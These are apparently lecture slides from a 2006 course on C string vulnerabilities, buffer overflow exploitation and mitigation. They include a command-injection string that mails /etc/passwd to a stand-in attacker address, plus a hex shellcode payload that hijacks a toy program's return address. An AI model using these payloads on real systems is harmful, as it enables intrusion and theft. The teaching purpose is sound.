Strings COEN 296 A Spring 2006 Strings n

  • Slides: 71
Download presentation
Strings COEN 296 A Spring 2006

Strings COEN 296 A Spring 2006

Strings n n Strings are a fundamental concept, but they are not a built-in

Strings n n Strings are a fundamental concept, but they are not a built-in data type in C/C++. C-Strings n n n C-style string: character array terminated by first null character. Wide string: wide character array terminated by first null character. C++ - Strings n n Several Classes Standard Template Class: n n std: : basic_string, std: : wstring No inter-operability between C and C++ style strings.

Strings h e l l o � length n C-style strings consist of a

Strings h e l l o length n C-style strings consist of a contiguous sequence of characters terminated by and including the first null character. n n n A pointer to a string points to its initial character. The length of a string is the number of bytes preceding the null character The value of a string is the sequence of the values of the contained characters, in order.

Strings n Common Errors: n n n Unbounded string copies Null-termination errors Truncation Write

Strings n Common Errors: n n n Unbounded string copies Null-termination errors Truncation Write outside array bounds Off-by-one errors Improper data sanitization

Strings n What’s wrong? #include <iostream> void main(void) • gets: The program reads from

Strings n What’s wrong? #include <iostream> void main(void) • gets: The program reads from standard input until a { newline character is read or an end of file (EOF) char Password[80]; condition is encountered. puts("Enter 8 character password: "); • Programmer does not know the size of input. gets(Password); • Standard (vulnerable) solution allocates a much } bigger buffer than expected input. UNBOUNDED STRING COPY

Strings n What’s wrong? #include <iostream> int main(int argc, char *argv[]) { char name

Strings n What’s wrong? #include <iostream> int main(int argc, char *argv[]) { char name [2048]; strcpy(name, argv[1]); strcat(name, " = "); strcat(name, argv[2]); return 0; }

Strings n Same Problem: n n The standard arguments can be of arbitrary length.

Strings n Same Problem: n n The standard arguments can be of arbitrary length. However, here we can get the length of the string before-hand: #include <string. h> #include <stdio. h> #include <stdlib. h> int main(int argc, char *argv[]) { char *buff = (char *)malloc(strlen(argv[1])+1); if (buff != NULL) { strcpy(buff, argv[1]); printf("argv[1] = %s. n", buff); } else { /* Couldn't get the memory - recover */ } return 0; }

Strings n C++ allows the same type of mistake. #include <iostream> using namespace std;

Strings n C++ allows the same type of mistake. #include <iostream> using namespace std; int main() { char buf[12]; • Overflows buffer when input is longer than 11 characters. • cin extraction ends with a valid white space, a null character, or an EOF. UNBOUNDED STRING COPY cin >> buf; cout<< "echo: " << buf << endl; return 0; }

Strings n Correct Version: #include <iostream> using namespace std; int main() { char buf[12];

Strings n Correct Version: #include <iostream> using namespace std; int main() { char buf[12]; • Set the field width (ios_base: : width) to a positive value. • cin. width(12) limits the extraction of characters so that at most 12 characters, including the terminating 0 character are read at a time. cin. width(12); cin >> buf; cout<< "echo: " << buf << endl; return 0; }

Strings n What is wrong with this code? • Static allocation for character arrays

Strings n What is wrong with this code? • Static allocation for character arrays a, b, c fails to allocate space for the null-termination character. • The strcpy (6) might overwrite this null byte. int main(int argc, char *argv[]) • This depends on how the compiler { allocates memory. 1 char a[16]; • If the byte is overwritten, then a points 2 char b[16]; 3 char c[32]; to an array of 32 bytes, and the strcat (7) writes beyond the bound of c. 5 strcpy(a, "0123456789 abcdef"); • Experience will vary depending on the 6 strcpy(b, "0123456789 abcdef"); compiler and debug / release version. 7 strcpy(c, a); • This errors can lay dormant for a long time 8 strcat(c, b); 9 printf("a = %sn", a); until waken up by a simple program change. #include <string. h> #include <stdio. h> 10 } return 0; NULL TERMINATION ERROR

From ISO/IEC 9899: 1999 The strncpy function char *strncpy(char * restrict s 1, const

From ISO/IEC 9899: 1999 The strncpy function char *strncpy(char * restrict s 1, const char * restrict s 2, size_t n); copies not more than n characters (characters that follow a null character are not copied) from the array pointed to by s 2 to the array pointed to by s 1. 260) Thus, if there is no null character in the first n characters of the array pointed to by s 2, the result will not be null-terminated.

Strings n String Truncation n Functions that restrict the number of bytes are often

Strings n String Truncation n Functions that restrict the number of bytes are often recommended to mitigate against buffer overflow vulnerabilities n n n strncpy() instead of strcpy() fgets() instead of gets() snprintf() instead of sprintf() Strings that exceed the specified limits are truncated Truncation results in a loss of data, and in some cases, to software vulnerabilities

Strings: Off-by-One Errors 1. int main(int argc, char* argv[]) { 2. char source[10]; 3.

Strings: Off-by-One Errors 1. int main(int argc, char* argv[]) { 2. char source[10]; 3. strcpy(source, "0123456789"); 4. char *dest = (char *)malloc(strlen(source)); 5. for (int i=1; i <= 11; i++) { 6. dest[i] = source[i]; 7. } 8. dest[i] = ''; 9. printf("dest = %s", dest); • source is 10 B long, but gets 10 characters. 10. } • Value returned by strlen does not take zero byte into account, hence, dest is too small. • for loop variable starts with 1, but string indices start with 0 • for loop stop condition is off. • Assignment (8) is out-of-bound write.

Strings #include <stdio. h> int main(int argc, char *argv[]) { int i = 0;

Strings #include <stdio. h> int main(int argc, char *argv[]) { int i = 0; char buff[128]; char *arg 1 = argv[1]; while (arg 1[i] != '' ) { buff[i] = arg 1[i]; i++; } buff[i] = ''; printf("buff = %sn", buff); } n String Errors without Functions n Since C-style strings are character arrays, it is possible to perform insecure string manipulations without explicitly calling any “dangerous” functions, such as strcpy(), strcat(), gets(), streadd(), strecpy(), …

Strings n Improper Data Sanitization n A much bigger problem, but here is a

Strings n Improper Data Sanitization n A much bigger problem, but here is a simple example: An application inputs an email address from a user and writes the address to a buffer [Viega 03] sprintf(buffer, "/bin/mail %s < /tmp/email", addr ); The buffer is then executed using the system() call. The risk is, of course, that the user enters the following string as an email address: bogus@addr. com; cat /etc/passwd | mail some@badguy. net

Strings

Strings

Commercial Message n Learn how to find cyber-crime Find out what Law & Order

Commercial Message n Learn how to find cyber-crime Find out what Law & Order does not show. Learn about exploits. n TAKE COEN 252 n n

Strings n A buffer overflow occurs when data is written outside of the boundaries

Strings n A buffer overflow occurs when data is written outside of the boundaries of the memory allocated to a particular data structure. 11 Bytes of Data Source Memory Copy Operation Allocated Memory (8 Bytes) Other Memory

Strings n Buffer overflow occur because we usually do not check bounds. n n

Strings n Buffer overflow occur because we usually do not check bounds. n n n Standard library functions do not check bounds. Programmers do not check bounds. Not all buffer overflows are exploitable.

Strings n Process Memory Organization Code or Text: Instructions and read only data Data:

Strings n Process Memory Organization Code or Text: Instructions and read only data Data: Initialized data, uninitialized data, static variables, global variables Heap: Dynamically allocated variables Stack: Local variables, return addresses, etc.

Strings: Stack Management n When calling a subroutine / function: n n Stack stores

Strings: Stack Management n When calling a subroutine / function: n n Stack stores the return address Stack stores arguments, return values Stack stores variables local to the subroutine Information pushed on the stack for a subroutine call is called a frame. n Address of frame is stored in the frame or base point register. n epb on Intel architectures

Strings: Stack Management #include <iostream> bool Is. Password. Okay(void) { char Password[8]; gets(Password); if

Strings: Stack Management #include <iostream> bool Is. Password. Okay(void) { char Password[8]; gets(Password); if (!strcmp(Password, “badprog")) return(true); else return(false); } void main() { bool Pw. Status; puts("Enter password: "); Pw. Status = Is. Password. Okay(); if (Pw. Status == false){ puts("Access denied"); exit(-1); } else puts("Access granted"); }

Strings: Stack Management Program stack before call to Is. Password. Okay() Stack puts("Enter Password:

Strings: Stack Management Program stack before call to Is. Password. Okay() Stack puts("Enter Password: "); Pw. Status=ISPassword. Okay(); if (Pw. Status==true) puts("Hello, Master"); else puts("Access denied"); Storage for Pw. Status (4 bytes) Caller EBP – Frame Ptr OS (4 bytes) Return Addr of main – OS (4 Bytes) …

Strings: Stack Management Program stack during call to Is. Password. Okay() Stack puts("Enter Password:

Strings: Stack Management Program stack during call to Is. Password. Okay() Stack puts("Enter Password: "); Pw. Status=ISPassword. Okay(); if (Pw. Status ==true) puts("Hello, Master"); else puts("Access denied"); bool Is. Password. Okay(void) { char Password[8]; gets(Password); if (!strcmp(Password, "badprog")) return(true); else return(false) } Storage for Password (8 Bytes) Caller EBP – Frame Ptr main (4 bytes) Return Addr Caller – main (4 Bytes) Storage for Pw. Status (4 bytes) Caller EBP – Frame Ptr OS (4 bytes) Return Addr of main – OS (4 Bytes) …

Strings: Stack Management Program stack after call to Is. Password. Okay() Stack Storage for

Strings: Stack Management Program stack after call to Is. Password. Okay() Stack Storage for Password (8 Bytes) puts("Enter Password: "); Pw. Status=ISPassword. Okay(); if (Pw. Status ==true) puts("Hello, Master"); else puts("Access denied"); Caller EBP – Frame Ptr main (4 bytes) Return Addr Caller – main (4 Bytes) Storage for Pw. Status (4 bytes) Caller EBP – Frame Ptr OS (4 bytes) Return Addr of main – OS (4 Bytes) …

Strings: Buffer Overflow Example #include <iostream> bool Is. Password. Okay(void) n{ char Password[8]; What

Strings: Buffer Overflow Example #include <iostream> bool Is. Password. Okay(void) n{ char Password[8]; What happens if we enter more than 7 characters of an input string? gets(Password); if (!strcmp(Password, “badprog")) return(true); else return(false); } void main() { bool Pw. Status; puts("Enter password: "); Pw. Status = Is. Password. Okay(); if (Pw. Status == false){ puts("Access denied"); exit(-1); } else puts("Access granted"); }

Strings Buffer Overflow Example Stack Storage for Password (8 Bytes) “ 12345678” bool Is.

Strings Buffer Overflow Example Stack Storage for Password (8 Bytes) “ 12345678” bool Is. Password. Okay(void) { char Password[8]; gets(Password); if (!strcmp(Password, "badprog")) return(true); else return(false) } The return address and other data on the stack is over written because the memory space allocated for the password can only hold a maximum 7 character plus the NULL terminator. Caller EBP – Frame Ptr main (4 bytes) “ 9012” Return Addr Caller – main (4 Bytes) “ 3456” Storage for Pw. Status (4 bytes) “ 7890” Caller EBP – Frame Ptr OS (4 bytes) “” Return Addr of main – OS (4 Bytes) …

Strings: Buffer Overflow Example n A specially crafted string “abcdefghijkl. W►*!” produced the following

Strings: Buffer Overflow Example n A specially crafted string “abcdefghijkl. W►*!” produced the following result:

Strings: Buffer Overflow Example n. The string “abcdefghijkl. W►*!” overwrote 9 extra bytes of

Strings: Buffer Overflow Example n. The string “abcdefghijkl. W►*!” overwrote 9 extra bytes of memory on the stack changing the callers return address thus skipping the execution of line 3 Line Statement 1 puts("Enter Password: "); 2 Pw. Status=ISPassword. Oka y(); 3 if (Pw. Status ==true) 4 puts("Hello, Master"); 5 else puts("Access denied"); Stack Storage for Password (8 Bytes) “abcdefgh” Caller EBP – Frame Ptr main (4 bytes) “ijkl” Return Addr Caller – main (4 Bytes) “W►*!” (return to line 4 was line 3) Storage for Pw. Status (4 bytes) “/0” Caller EBP – Frame Ptr OS (4 bytes) Return Addr of main – OS (4 Bytes)

Exploitation of Buffer Overflows n A buffer overflow can be exploited by n n

Exploitation of Buffer Overflows n A buffer overflow can be exploited by n n Changing the return address in order to change the program flow (arc-injection) Change the return address to point into the buffer where it contains some malicious code (Code injection)

Exploitation of Buffer Overflows n The get password program can be exploited to execute

Exploitation of Buffer Overflows n The get password program can be exploited to execute arbitrary code by providing the following binary data file as input: 000 010 020 030 040 n 31 32 33 34 35 36 37 38 -39 30 31 32 33 34 35 36 "1234567890123456" 37 38 39 30 31 32 33 34 -35 36 37 38 E 0 F 9 FF BF "789012345678 a· +" 31 C 0 A 3 FF F 9 FF BF B 0 -0 B BB 03 FA FF BF B 9 FB "1+ú · +¦+· +¦v" F 9 FF BF 8 B 15 FF F 9 FF-BF CD 80 FF F 9 FF BF 31 "· +ï§ · +-Ç · +1" 31 31 31 2 F 75 73 72 2 F-62 69 6 E 2 F 63 61 6 C 0 A "111/usr/bin/cal “ This exploit is specific to Red Hat Linux 9. 0 and GCC

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E 0 F 9 FF BF "789012345678 a· +" 020 31 C 0 A 3 FF F 9 FF BF B 0 0 B BB 03 FA FF BF B 9 FB "1+ú · +¦+· +¦v" 030 F 9 FF BF 8 B 15 FF F 9 FF BF CD 80 FF F 9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2 F 75 73 72 2 F 62 69 6 E 2 F 63 61 6 C 0 A "111/usr/bin/cal “ The first 16 bytes of binary data fill the allocated storage space for the password. n NOTE: Even though the program only allocated 12 bytes for the password, the version of the gcc compiler used allocates stack data in multiples of 16 bytes n

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E 0 F 9 FF BF "789012345678 a· +" 020 31 C 0 A 3 FF F 9 FF BF B 0 0 B BB 03 FA FF BF B 9 FB "1+ú · +¦+· +¦v" 030 F 9 FF BF 8 B 15 FF F 9 FF BF CD 80 FF F 9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2 F 75 73 72 2 F 62 69 6 E 2 F 63 61 6 C 0 A "111/usr/bin/cal “ The next 12 bytes of binary data fill the extra storage space that was created by the compiler to keep the stack aligned on a 16 -byte boundary. n

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E 0 F 9 FF BF "789012345678 a· +" 020 31 C 0 A 3 FF F 9 FF BF B 0 0 B BB 03 FA FF BF B 9 FB "1+ú · +¦+· +¦v" 030 F 9 FF BF 8 B 15 FF F 9 FF BF CD 80 FF F 9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2 F 75 73 72 2 F 62 69 6 E 2 F 63 61 6 C 0 A "111/usr/bin/cal “ The next 12 bytes of binary data fill the extra storage space that was created by the compiler to keep the stack aligned on a 16 -byte boundary. n

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E 0 F 9 FF BF "789012345678 a· +" 020 31 C 0 A 3 FF F 9 FF BF B 0 0 B BB 03 FA FF BF B 9 FB "1+ú · +¦+· +¦v" 030 F 9 FF BF 8 B 15 FF F 9 FF BF CD 80 FF F 9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2 F 75 73 72 2 F 62 69 6 E 2 F 63 61 6 C 0 A "111/usr/bin/cal “ The next 4 bytes overwrite the return address. n The new return address is 0 X BF FF F 9 E 0 (littleendian) n

Exploitation of Buffer Overflows

Exploitation of Buffer Overflows

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E 0 F 9 FF BF "789012345678 a· +" 020 31 C 0 A 3 FF F 9 FF BF B 0 0 B BB 03 FA FF BF B 9 FB "1+ú · +¦+· +¦v" 030 F 9 FF BF 8 B 15 FF F 9 FF BF CD 80 FF F 9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2 F 75 73 72 2 F 62 69 6 E 2 F 63 61 6 C 0 A "111/usr/bin/cal “ n The malicious code. n n Purpose of malicious code is to call execve with a user provided set of parameters. In this program, instead of spawning a shell, we just call the linux calculator program.

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E 0 F 9 FF BF "789012345678 a· +" 020 31 C 0 A 3 FF F 9 FF BF B 0 0 B BB 03 FA FF BF B 9 FB "1+ú · +¦+· +¦v" 030 F 9 FF BF 8 B 15 FF F 9 FF BF CD 80 FF F 9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2 F 75 73 72 2 F 62 69 6 E 2 F 63 61 6 C 0 A "111/usr/bin/cal “ n The malicious code: n n xor %eax, %eax #set eax to zero mov %eax, 0 xbffff 9 ff #set to NULL word Create a zero value and use it to NULL terminate the argument list. This is necessary to terminate the argument list.

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E 0 F 9 FF BF "789012345678 a· +" 020 31 C 0 A 3 FF F 9 FF BF B 0 0 B BB 03 FA FF BF B 9 FB "1+ú · +¦+· +¦v" 030 F 9 FF BF 8 B 15 FF F 9 FF BF CD 80 FF F 9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2 F 75 73 72 2 F 62 69 6 E 2 F 63 61 6 C 0 A "111/usr/bin/cal “ n The malicious code: n n xor %eax, %eax #set eax to zero mov %eax, 0 xbffff 9 ff #set to NULL word mov $0 xb, %al #set code for execve Set the value of register al to 0 xb. This value indicates a system call to execve.

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E 0 F 9 FF BF "789012345678 a· +" 020 31 C 0 A 3 FF F 9 FF BF B 0 0 B BB 03 FA FF BF B 9 FB "1+ú · +¦+· +¦v" 030 F 9 FF BF 8 B 15 FF F 9 FF BF CD 80 FF F 9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2 F 75 73 72 2 F 62 69 6 E 2 F 63 61 6 C 0 A "111/usr/bin/cal “ n The malicious code: n mov $0 xb, %al #set code for execve n mov $0 xbffffa 03, %ebx #ptr to arg 1 n mov $0 xbffff 9 fb, %ecx #ptr to arg 2 n mov 0 xbffff 9 ff, %edx #ptr to arg 3 This puts the pointers to the arguments into ebc, ecx, and edx registers. n

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E 0 F 9 FF BF "789012345678 a· +" 020 31 C 0 A 3 FF F 9 FF BF B 0 0 B BB 03 FA FF BF B 9 FB "1+ú · +¦+· +¦v" 030 F 9 FF BF 8 B 15 FF F 9 FF BF CD 80 FF F 9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2 F 75 73 72 2 F 62 69 6 E 2 F 63 61 6 C 0 A "111/usr/bin/cal “ n The malicious code: n mov $0 xbffffa 03, %ebx #ptr to arg 1 n mov $0 xbffff 9 fb, %ecx #ptr to arg 2 n mov 0 xbffff 9 ff, %edx #ptr to arg 3 n int $80 # make system call to execve Now make the system call to execve. The arguments are in the registers. n

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39

Exploitation of Buffer Overflows 000 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 "1234567890123456" 010 37 38 39 30 31 32 33 34 35 36 37 38 E 0 F 9 FF BF "789012345678 a· +" 020 31 C 0 A 3 FF F 9 FF BF B 0 0 B BB 03 FA FF BF B 9 FB "1+ú · +¦+· +¦v" 030 F 9 FF BF 8 B 15 FF F 9 FF BF CD 80 FF F 9 FF BF 31 "· +ï§ · +-Ç · +1" 040 31 31 31 2 F 75 73 72 2 F 62 69 6 E 2 F 63 61 6 C 0 A "111/usr/bin/cal “ n The malicious code: n Last part are the arguments.

Exploitation of Buffer Overflows n . /Buffer. Overflow < exploit. bin now executes /usr/bin/cal�.

Exploitation of Buffer Overflows n . /Buffer. Overflow < exploit. bin now executes /usr/bin/cal.

Exploitation of Buffer Overflows

Exploitation of Buffer Overflows

Exploitation of Buffer Overflows #include <string. h> int get_buff(char *user_input) { char buff[4]; memcpy(buff,

Exploitation of Buffer Overflows #include <string. h> int get_buff(char *user_input) { char buff[4]; memcpy(buff, user_input, sizeof(user_input)); return 0; } int main(int argc, char *argv[]) { get_buff(argv[1]); return 0; }

Exploitation of Buffer Overflows esp ebp buff[4] ebp (main) return addr(main) stack frame main

Exploitation of Buffer Overflows esp ebp buff[4] ebp (main) return addr(main) stack frame main esp ebp Return address has been replaced with address of f() buff[4] ebp (frame 2) f() eip (leave/ret) f() argptr "f() arg data" ebp (frame 3) g() eip (leave/ret) g() argptr "g() arg data" ebp (orig) return addr(main) Frame 1 Frame 2 Orig frame Stack before and after executing get_buff(argv[1]) with attacker provided string

Exploitation of Buffer Overflows mov esp, ebp pop ebp ret Frame pointer (now pointing

Exploitation of Buffer Overflows mov esp, ebp pop ebp ret Frame pointer (now pointing to Frame 2) is moved into the stack pointer. Control is returned to the address on the stack, which has been overwritten with the address of the arbitrary function f() Exploited function get_buf returns

Exploitation of Buffer Overflows esp ebp When f() returns, it pops the stored eip

Exploitation of Buffer Overflows esp ebp When f() returns, it pops the stored eip off the stack and transfers control to this address. buff[4] ebp (frame 2) f() eip (leave/ret) f() argptr "f() arg data" ebp (frame 3) g() eip (leave/ret) g() argptr "g() arg data" ebp (orig) return addr(main) Frame 1 Frame 2 Orig frame

esp ebp buff[4] ebp (main) return addr(main) stack frame main leave/ret mov esp, ebp

esp ebp buff[4] ebp (main) return addr(main) stack frame main leave/ret mov esp, ebp pop ebp ret -orleave ret esp ebp buff[4] ebp (frame 2) f() eip (leave/ret) f() argptr "f() arg data" ebp (frame 3) g() eip (leave/ret) g() argptr "g() arg data" ebp (frame 4) h() eip (leave/ret) h() argptr "h() arg data" ebp (orig) return addr(main) Frame 1 Frame 2 Frame 3 Orig frame

Exploitation of Buffer Overflows n Result: n n n Control is returned to the

Exploitation of Buffer Overflows n Result: n n n Control is returned to the address of an arbitrary function f(). This function is provided with arguments installed on the stack. Attacker could have added additional function calls or attacker could have returned to the main function for continuation of the program. n For example, attacker could first call setuid(), then call system()

Exploitation of Buffer Overflows n These are not the only exploit strategies.

Exploitation of Buffer Overflows n These are not the only exploit strategies.

Mitigation Strategies n Include strategies designed to n n n prevent buffer overflows from

Mitigation Strategies n Include strategies designed to n n n prevent buffer overflows from occurring detect buffer overflows and securely recover without allowing the failure to be exploited Prevention strategies can n n statically allocate space dynamically allocate space

Mitigation Strategies Statically Allocated Space n Impossible to add data after buffer is filled.

Mitigation Strategies Statically Allocated Space n Impossible to add data after buffer is filled. n n Because the static approach discards excess data, actual program data can be lost. Consequently, the resulting string must be fully validated. #include <string. h> #include <stdlib. h> int myfunc(const char *arg) { char buff[100]; if (strlen(arg) >= sizeof(buff)) { abort(); } } int main(char * argv[]) { myfunc(argv[1]); return 0; } Validating Input

Mitigation Strategies Statically Allocated Space n Never use gets() n n Impossible to tell

Mitigation Strategies Statically Allocated Space n Never use gets() n n Impossible to tell how many characters gets () will read. Use fgets() instead. n fgets() has two arguments: n n n However, fgets() retains the newline character. n n number of characters to be read (including terminating zero) input stream fgets() allows to read partial lines, but we can check for the newline character at the end. Buffer-overflow still possible if we specify more characters than the buffer contains.

Mitigation Strategies Statically Allocated Space n n Never use gets() gets_s() [ISO/IEC TR 24731]

Mitigation Strategies Statically Allocated Space n n Never use gets() gets_s() [ISO/IEC TR 24731] more secure replacement for gets() n n Reads only from stream pointed to by stdin Has one rsize_t -argument that specifies maximum size. Returns pointer to character array if successful. Else, returns NULL pointer.

Mitigation Strategies Statically Allocated Space #include <tchar. h> #include <stdio. h> #include <stdlib. h>

Mitigation Strategies Statically Allocated Space #include <tchar. h> #include <stdio. h> #include <stdlib. h> #define BUFFSIZE 8 int _tmain(int argc, _TCHAR* argv[]) { char buff[BUFFSIZE]; gets(buff); printf("gets: %s. n", buff); if (fgets(buff, BUFFSIZE, stdin) == NULL) { printf("read error. n"); abort(); } printf("fgets: %s. n", buff); if (gets_s(buff, BUFFSIZE) == NULL) { printf("invalid input. n); abort(); } printf("gets_s: %s. n", buff); return 0; }

Mitigation Strategies Statically Allocated Space n n Work by the international standardization working group

Mitigation Strategies Statically Allocated Space n n Work by the international standardization working group for the programming language C (ISO/IEC JTC 1 SC 22 WG 14) ISO/IEC TR 24731 defines less error-prone versions of C standard functions n n strcpy_s() instead of strcpy() strcat_s() instead of strcat() strncpy_s() instead of strncpy() strncat_s() instead of strncat()

Mitigation Strategies Statically Allocated Space n ISO/IEC TR 24731 n Mitigate against n n

Mitigation Strategies Statically Allocated Space n ISO/IEC TR 24731 n Mitigate against n n n n Buffer overrun attacks Default protections associated with program-created file Do not produce unterminated strings Do not unexpectedly truncate strings Preserve the null terminated string data type Support compile-time checking Make failures obvious Have a uniform pattern for the function parameters and return type

Mitigation Strategies Statically Allocated Space n ISO/IEC TR 24731 n The strcpy_s() functionhas the

Mitigation Strategies Statically Allocated Space n ISO/IEC TR 24731 n The strcpy_s() functionhas the following signature: errno_t strcpy_s( char * restrict s 1, rsize_t s 1 max, const char * restrict s 2); n Similar to strcpy() but has an extra argument of type rsize_t that specifies the maximum length of the destination buffer.

Mitigation Strategies Statically Allocated Space n ISO/IEC TR 24731 strcpy_s() n n n Copies

Mitigation Strategies Statically Allocated Space n ISO/IEC TR 24731 strcpy_s() n n n Copies characters from a source string to a destination character array up to and including the terminating null character. Only succeeds when the source string can be fully copied to the destination without overflowing the destination buffer. A constraint violation occurs when n n source and destination pointers are null. max length of the destination buffer is: n n equal to zero greater than RSIZE_MAX less than or equal to the length of the source string. When a constraint violation is detected: n n the destination string is set to the null string. the function returns a non-zero value.

Mitigation Strategies Statically Allocated Space n ISO/IEC TR 24731 n n n Already available

Mitigation Strategies Statically Allocated Space n ISO/IEC TR 24731 n n n Already available in Microsoft Visual C++ 2005 Functions are still capable of overflowing a buffer if the maximum length of the destination buffer is incorrectly specified The ISO/IEC TR 24731 functions n n are not “fool proof” useful in n n preventive maintenance legacy system modernization

Mitigation Strategies Statically Allocated Space n Strsafe. h n Microsoft set of string handling

Mitigation Strategies Statically Allocated Space n Strsafe. h n Microsoft set of string handling functions. n n n Guarantees that all strings are null-terminated. Writes do not occur past end of destination buffer. Programmer still has to n n input the actual start address. uses the correct length.

Mitigation Strategies Statically Allocated Space n strlcpy, strlcat n Miller and de Raadt, Usenix

Mitigation Strategies Statically Allocated Space n strlcpy, strlcat n Miller and de Raadt, Usenix 99 n n n for Open. BSD, later Free. BSD, Solaris, Mac OS X size_t strlcpy(char * destination, const char * source, size_t size); A string (of non-zero length) copied by strlcpy is always nul-terminated. The function takes the length of the destination, as a parameter, avoiding buffer overflows where a source string is bigger than a destination. strlcpy() returns the length of the source string, which can be compared to size to check for truncation.

Mitigation Strategies Dynamically Allocated Space n Dynamically allocated buffers dynamically resize as additional memory

Mitigation Strategies Dynamically Allocated Space n Dynamically allocated buffers dynamically resize as additional memory is required. n n Dynamic approaches do not discard excess data. Inputs can n n exhaust memory on a machine consequently be used in denial-of-service attacks

Mitigation Strategies Dynamically Allocated Space n Safe. Str n n n Matt Messier and

Mitigation Strategies Dynamically Allocated Space n Safe. Str n n n Matt Messier and John Viega Uses XXL for message handling. Provides API with dynamic strings n n n Buffer overflows should not be possible Format string problems should be impossible The API should be capable of tracking whether strings are "trusted", a la Perl's taint mode

Mitigation Strategies Dynamically Allocated Space n Vstr n Implements dynamic strings. n n Simple

Mitigation Strategies Dynamically Allocated Space n Vstr n Implements dynamic strings. n n Simple access to strings via readv() / writev() Many additional functions n n n n printf like function splitting of strings into parameter/record chunks (a la perl). substituting data in a Vstr string moving data from one Vstr string to another (or within a Vstr string). comparing strings (without regard for case, or taking into account version information) searching for data in strings (with or without regard for case). counting spans of data in a string (the equivalent of strspn() in ISO C). parsing data from a Vstr string (Ie. numbers, or ipv 4 addresses).

Detection & Recovery n Compiler generated runtime checks: n Visual C++ provides native runtime

Detection & Recovery n Compiler generated runtime checks: n Visual C++ provides native runtime checks for common runtime errors: n n stack pointer corruption overrun of local arryas.

Detection & Recovery n Nonexecutable stack n Prevent executable code from running in the

Detection & Recovery n Nonexecutable stack n Prevent executable code from running in the stack segment. n n This prevents only one type of buffer overflow exploits. Arc injection, heap buffer overflow etc. still work. Can have poorer performance. Can break legacy code.

Detection & Recovery n Stackgap n n Since many stack-based buffer overflow exploits need

Detection & Recovery n Stackgap n n Since many stack-based buffer overflow exploits need to know the location of the stack in memory: Stackgap introduces a randomly sized gap before allocating local memory variables on the stack. n n No performance penalty, though poorer memory utilization. Makes buffer overflow exploits harder, but not impossible.

Detection & Recovery n Runtime Bound Checkers n n n Idea: Retool the compiler

Detection & Recovery n Runtime Bound Checkers n n n Idea: Retool the compiler to do bounds checking as in Java. Problem: Performance can be horrible. Catches almost all, but not all out of bounds data accesses.

Detection & Recovery n Canaries n n Protect the return address with a canary.

Detection & Recovery n Canaries n n Protect the return address with a canary. A buffer overflow will kill the canary. If the canary is dead, stop program execution. Implemented in Stack. Guard, Pro. Police, Visual C++. NET